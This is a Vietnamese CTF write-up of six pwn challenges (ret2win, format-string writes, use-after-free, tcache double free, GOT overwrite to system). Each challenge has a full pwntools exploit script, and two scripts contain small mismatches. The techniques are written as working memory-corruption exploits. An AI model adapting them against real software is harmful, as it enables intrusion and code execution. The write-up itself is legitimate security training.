# INTIGRITI CTF WRITEUP (PWN) ## Rigged Slot Machine 2 ![image](https://hackmd.io/_uploads/Hkg3EcUvMJl.png) - Ta có thể thấy trong hàm `enter_name` có lỗi buffer overflow vì hàm `gets` cho nhập vào không giới hạn. Với bài này ta chỉ cần ret2win với hàm win có sẵn trong bài: ![image](https://hackmd.io/_uploads/ryahc8wGJg.png) - Final script: ```p from pwn import * p=process('./floormat_sale') #p=remote('riggedslot2.ctf.intigriti.io',1337) p.sendlineafter(b'name:', b'a'*20+p32(0x14684d)) p.interactive() ``` ## Floormat Mega Sale - Check qua ida ta thấy ngay lỗi format string ở hàm main: ![image](https://hackmd.io/_uploads/HkdRjUPMkl.png) - Nếu ta vào hàm `employee_access` mà biến `employee` đã được ghi đè, ta sẽ có thể in ra được flag. Vậy ta chỉ cần ghi đè giá trị bất kỳ vào biến `employee` là được: ![image](https://hackmd.io/_uploads/S13U2LwfJl.png) - Script: ```p from pwn import * # p=remote('riggedslot2.ctf.intigriti.io',1339) p=process('./floormat_sale') gdb.attach(p,gdbscript=''' b*0x00000000004015B7 c ''') andr=0x40408c payload =f'%{0x40}c%12$hhn'.encode()+b'\0'*5 payload += p64(0x40408c) p.sendlineafter(b'\n',b'6') p.sendlineafter(b'\n',payload) p.interactive() ``` ## Retro2Win - Bài này cũng là ret2win nhưng khó hơn. Lỗi nằm ở hàm enter_cheatcode cho ta nhập không giới hạn: ```p int enter_cheatcode() { char v1[16]; // [rsp+0h] [rbp-10h] BYREF puts("Enter your cheatcode:"); gets(v1); return printf("Checking cheatcode: %s!\n", v1); } ``` - Bởi vì hàm `cheat_mode` có thêm điều kiện kiểm tra biến `a1` và `a2`, khi đó một là ghi đè đúng giá trị check, 2 là nhảy ngay sau chỗ check này. Mình chọn hướng 2 nhưng script lại không hoạt động với sever trong khi hoạt động với local. Hỏi thì tác giả bảo "hướng đi hay" và cho mình 1 hướng đi khác :v. Quay xe qua hướng 1: - Script hướng 2: ```p from pwn import * io=process('./retro2win_patched') gdb.attach(io, gdbscript=''' b*0x000000000040078d c''') io.sendlineafter(b':', b'1337') io.sendlineafter(b':', b'a'*16+p64(0x602500)+p64(0x40077e)) io.interactive() ``` - Script hướng 1: ```p from pwn import * p=process('./retro2win_patched') gdb.attach(io, gdbscript=''' b*0x0000000000400736 c''') pay = b'A' * (16+8) pay += p64(0x00000000004009b3) + p64(0x2323232323232323) pay += p64(0x00000000004009b1) + p64(0x4242424242424242) + p64(0x4242424242424242) pay += p64(0x0000000000400736) p.sendlineafter(b'\n', b'1337') p.sendlineafter(b'Enter your cheatcode:', pay) p.interactive() ``` ## UAP - Bài này có 2 lỗi: heap overflow và UAF. Trong struct của drone, drone[0] chứa id, drone[1] chứa `readdy`, drone[2] chứa `start_route` và drone[4] chứa `end_route`: ```p fleet[i] = (Drone_0 *)malloc(0x20uLL); fleet[i]->id = i + 1; fleet[i]->status = "ready"; fleet[i]->start_route = (void (*)(Drone *))start_route; fleet[i]->end_route = (void (*)(Drone *))end_route; ``` - Với lỗi UAF, ngay cả khi ta `end_route` ta vẫn có thể `start_drone_route`. Điều đó có nghĩa là nếu ta free chunk chứa struct của drone vào bin sau đó malloc lại và sửa drone[2] thanh hàm win, ta sẽ có thể exploit bài này. Vậy `heap overflow` trong bài này làm gì? Nobody know... - Final Script: ```p from pwn import * p=process('./drone_patched') gdb.attach(p) p.sendlineafter(b'\n',b'1') p.sendlineafter(b'\n',b'2') p.sendlineafter(b'\n',b'1') p.sendlineafter(b'\n',b'4') p.sendlineafter(b'\n',b'\0'*16+p64(0x0000000000400836)) p.interactive() ``` ## Notepad - Bài heap với lỗi UAF trong hàm delete: ![image](https://hackmd.io/_uploads/SyIn1uPGyl.png) - Với hàm `secrecNote` ta sẽ có thể in ra flag nếu biến `key` được ghi đè: ![image](https://hackmd.io/_uploads/B1Skx_Df1g.png) - Bởi vì hàm này có UAF, ta chỉ cần trigger DF sau đó ghi đè key là được (bài có tcache nên không cần kiểm tra size) - Final script: ```p #!/usr/bin/env python3 from pwn import * exe = ELF("./notepad_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe def main(): r = remote('notepad.ctf.intigriti.io',1341) initial_data = r.recvuntil(b'Here a gift: ') address_line = r.recvline().strip() gift_address = int(address_line, 16) base = gift_address - 0x119a key = base + 0x20204c print(f"Gift Address: {hex(gift_address)}") print(f"Base Address: {hex(base)}") print(f"key Address: {hex(key)}") def c(index,size,data): r.sendlineafter(b'> ',b'1') r.sendlineafter(b'> ',index) r.sendlineafter(b'> ',f'{size}'.encode()) r.sendlineafter(b'> ',data) c(b'0',0x30,b'a') r.sendlineafter(b'> ',b'4') r.sendlineafter(b'> ',b'0') r.sendlineafter(b'> ',b'3') r.sendlineafter(b'> ',b'0') r.sendlineafter(b'> ',p64(key)) c(b'1',0x30,b'a') c(b'2',0x30,p64(0xCAFEBABE)) r.sendlineafter(b'> ',b'5') # good luck pwning :) r.interactive() if __name__ == "__main__": main() ``` ## Notepad 2 - Lỗi bài này khá đơn giản với lỗi format string nhưng khó hơn bài bình thường bởi vì format string không còn ở trên stack: ![image](https://hackmd.io/_uploads/rJcB6YvfJx.png) - Khi bộ nhớ không còn ở trên stack, ta không thể đưa các địa chỉ cần ghi lên stack một cách dễ dàng được. Tuy nhiên, với các con trỏ rbp và rip có sẵn trên stack, ta có thể ghi thêm dữ liệu lên đó để có thể exploit! - Đầu tiên, ta leak libc để lấy địa chỉ `system`. Sau đó đưa địa chỉ `free.got` lên stack, ghi đè 4 byte lên 3 lần để ghi `system` vào `free.got` - Lần 1 ghi đè 4 byte cuối vào `free.got` - Lần 2 ghi đè 4 byte giữa vào `free.got+2` - Lần 3 ghi đè 4 byte đầu vào `free.got+4` - Lúc này `free.got` đã thành `system`, nếu ta free chunk với tham số `/bin/sh` ta sẽ exploi thành công! ![image](https://hackmd.io/_uploads/H11by9vfJx.png) - Final script: ```p from pwn import * exe=ELF('./notepad2_patched') libc=ELF('./libc.so.6') p=process(exe.path) # gdb.attach(p,gdbscript=''' # b*0x00000000004015e6 # c''') def c(index,data): p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',index) p.sendlineafter(b'> ',data) def d(index): p.sendlineafter(b'> ',b'3') p.sendlineafter(b'> ',index) def v(index): p.sendlineafter(b'> ',b'2') p.sendlineafter(b'> ',index) c(b'8',b'%13$p') v(b'8') data = p.recvuntil(b'Choose an option!') leak = data.split(b'\n')[0] leak_int = int(leak, 16) print('Giá trị nhận được:', hex(leak_int)) base=leak_int-0x28150 system=base+libc.sym['system'] payload=b'%4210688c%8$n' c(b'0',payload) v(b'0') c(b'1',f'%{system&0xffff}c%12$hn'.encode()) v(b'1') c(b'2',b'%4210690c%8$n') v(b'2') c(b'3',f'%{(system >> 16) & 0xffff}c%12$hn'.encode()) v(b'3') c(b'4',b'%4210692c%8$n') v(b'4') c(b'5',f'%{(system >> 32) & 0xffff}c%12$hn'.encode()) v(b'5') p.interactive() ```